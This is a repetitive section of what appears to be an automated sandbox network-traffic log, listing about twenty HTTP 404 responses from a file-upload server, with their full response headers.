Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC758pAaK92V21I_xvdmF7W3WZdOCEzAdhxg1_3NlraJGzSQlV241juKpkJgU0S8bseBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:27 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oCMs8h9ozMJ2fNcU-uxSeQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC66UNAuF2sLFPL6ZPCjeu-DaThpG9MYoTIEo6QR7Rv9zytTE0nrFEuOOTzRBmM0rgBTContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:27 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-OyiAS95osj46qw53dO3gjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5BhhA0SSzwWRZvg9MY87UilkkX0UJVrCei4eomyzmqAS8BR_Za7v_Fc7jQxdt2zcbwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-kEyG06nT5QhQtUQoG5IxsA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC70cgLhJAaNlr3VkCBpcwWJL6Xrru_V0gTPMbKkLocjn04u7vDl5bWn6HZ49BLvJlNuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:29 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-TaCuWS-ADzlFmTgl6mYd4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6zoQ8Qn92jvK3FfhHJTZQ-1j7G3CUHwa0y6jWNf6cujUVq7vFf1aN7BHGoSl2NqqpbPn8iKhUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Iwq34f5rA90gdHFXscs6TQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5sDdhMUQEQGHK_cbMuBMuuU8hYOUjrphEUfZ9VKKpICI1mzBnJmRnt0YoIpjLmP-afContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-xE-SHB4rpjxVVOON_wOq1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC47Ofst_04703X-jxikXPOSz9cqTLuPJfNLD_LLIQ4IbK8bRFNmKKRGk5Ycu4ARRqqAqv16b3YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:31 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-KFVJTeTpsoyysTihnFfzgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7SAzOYupDZ05LV_z76phjrmO-0SpXE_tq0tYORE8nq1XkOhXXgsCapNl_iKpI2TWu_Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:31 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Ey3GK5Q5LDi1q5nofydvrA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4PuUDyphoy8KmFwsU5er-kd864ulNq9HuhlRb0W5gsMo2WNvJfbFFegnSiSxAibboWDmntVGIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_-05O3210MhRWWrtd2oXBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59DRuS45ujYof2DuGcZenjfGHT8jBZ4GRVXXux24nnJ7IIapP_vXAcQF9u0PpJ0c0MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MuhGKX1y2bQ4XQAieqm40g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4mjToT3vrSxg6rqNA6Pl2qwohedo24r3ijhAoDYLdaMf7n0mSe-r4K9gUTlKKt6LBxj6I_DmYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:34 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZZH0P7jWHDmOgODjfYBfnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC54xQ0Tf63hlaODUuaeCKYJe_HlvMBLgTXSkzZzRqSfe0keg0JQaJddIJrt4CKi2wIfcb8lEbAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:34 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lJTrYG_K_0JJ9b2ZXcOvAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC50gKEhsw1EpbvCvJudQQXB9Zj8N5dVmyIzgvHB6GSBthw6ytB6PlB4qWWpi5crm1DWP0YQxIQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:35 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-eYNsoUoDuDTQmyDEB_qVSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7gZE0gJqjxLgknTnz7MeuL9ilOLLUGrJdacPSrXqt8hvaBzMhxEF7hoJFM3BEBuEZ6QMvrth8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:35 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-DzWcVu6thaiyBk_ZwJaSUA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC66ETeZFtdzErNA9mFh4pBLfbGgTWF7E3tkb6R0Hr19Yq-Vbza_I0dV39PLaORoVimnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:37 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Id35bcFQO1T3FD6fW7iJhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6gQ2wTUW57RboPtcILDKCFE5Xa8RE1JBPTiLHKNk57r9z3Axdb1s2a1OK6Krs4lO9UuwOSBkAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:37 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OiPY3fw4m7Mde_e3JBawvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6o16xQP6GlwhgZ-6SAQ6rKHc6WA-IYJIuB49jFTlY1vw9Qy_W-rJdOftz74dW13XCCWW6vhlIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:38 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Y8YyhHqMRbjXltOgJHdlQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5zXxuK_bQp_Xy30aZo0MMEMkvhbtPiIGeovB62fgMYOYtKZml67IyxE-JVjH4f63C0MD-bMF0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:38 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MV-my6-bpaSWN99ylu_5YA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4XcyLauGjruOHgjv96iD8YvfY6Npm99sd_ouHDY3LNRohzDjN86WLB5k7hSS_CEEOBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ehuQOsk3rJONPZhLiOLOTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5IyOX8jbAHvrFCnm4UT5K4vvmTeCrpx_ML6zFQz5UlKAf5EX0_kRVDNbRtWujozLoBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:39 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JZmAO8vsQbVnS0BKJcyc-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
